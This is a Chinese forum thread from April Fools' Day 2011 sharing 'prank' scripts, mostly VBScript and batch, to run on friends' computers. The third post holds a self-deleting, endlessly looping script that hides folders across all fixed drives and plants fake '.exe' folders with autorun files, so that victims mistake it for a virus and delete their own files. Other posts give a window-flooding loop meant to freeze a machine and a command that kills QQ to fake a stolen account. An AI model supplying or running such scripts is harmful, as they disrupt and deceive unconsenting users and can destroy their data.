qq华夏吧 关注:193,334贴子:10,907,875
  • 7回复贴,共1

今日愚人节。教大家有C语言整蛊朋友~~~~

只看楼主收藏回复

1L喂夏天


1楼2011-04-01 12:31回复
    使用方法:新建TXT格式的记事本也个。然后复制以下代码。然后改记事本格式为.VBS或.BAT
    dim a,s
    set wshshell=createobject("wscript.shell")
    a=0
    do
    wshshell.run"notepad"
    a=a+1
    if a>20 then
    exit do
    end if
    loop
    这个是打开记事本。20是打开的个数(可以自己改999卡死你朋友)


    2楼2011-04-01 12:35
    收起回复
      2026-04-05 21:18:58
      广告
      不感兴趣
      开通SVIP免广告
      终极整蛊
      真的要看?
      很邪恶的
      简单描述一下:文件夹同名病毒(Autorun病毒)大家都熟悉吧?效果就是那样(不过放心吧,绝不是真的病毒,骗人的),试想,如果有人中招,他会怎么办?杀毒?没用(因为根本不是病毒),情急之下咋办?胡乱删一通,抱歉,他亲手将自己亲爱的文件删了......
      废话不多说了,代码如下,大家知道该怎么用:
      ''''''''''''''''''''代码开始''''''''''''''''''''
      On Error Resume Next
      Set fso=CreateObject("Scripting.FileSystemObject")
      Set Cx=fso.GetSpecialFolder(0)
      fso.GetFile(WScript.ScriptFullName).Delete(True)
      Do
      C=fso.GetParentFolderName(Cx)
      Set Fdrs=fso.GetFolder(C).SubFolders
      For Each Fdr In Fdrs
      If Not fso.GetExtensionName(Fdr.Name)="exe" Then
      fso.CreateFolder(C & Fdr.Name & ".exe")
      Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
      fun.Attributes=6
      fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
      Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
      auto.WriteLine("[Autorun]")
      auto.WriteLine("Open=fun.xls.exe")
      auto.Close
      Set auto=Nothing
      Set fun=Nothing
      fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
      Fdr.Attributes=6
      End If
      Next
      Set Cx=Nothing
      Set Fdrs=Nothing
      Set drvs=fso.Drives
      For Each drv In drvs
      If drv.DriveType=2 Then
      If drv & "\" = C Then
      Else
      Set Fdrs=fso.GetFolder(drv).SubFolders
      For Each Fdr In Fdrs
      If Not fso.GetExtensionName(Fdr.Name)="exe" Then
      Fdr.Name=Fdr.name & ".exe"
      Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
      fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")
      Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")
      auto.WriteLine("[Autorun]")
      auto.WriteLine("Open=fun.xls.exe")
      auto.Close
      Set auto=Nothing
      Set fun=Nothing
      End If
      Next
      End If
      End If
      Next
      WScript.Sleep 60*1000
      Loop
      ''''''''''''''''''''代码结束''''''''''''''''''''
      打开记事本,复制,保存缀名为vbs格式
      注意:此代码不可乱用,可能会把人弄疯的
      除非是你最恨的人 


      3楼2011-04-01 12:36
      回复
        想解决3L的代码可以重启电脑或任务管理器里查找wscript.exe进程并杀掉


        4楼2011-04-01 12:37
        回复
          模仿QQ被盗自动掉线~~~
          @echo off
          taskkill /f /im qq.exe(qq.EXE可以改为你想关闭的程序)


          5楼2011-04-01 12:38
          回复
            楼主直接发软件吧


            IP属地:四川来自Android客户端6楼2013-07-07 13:45
            回复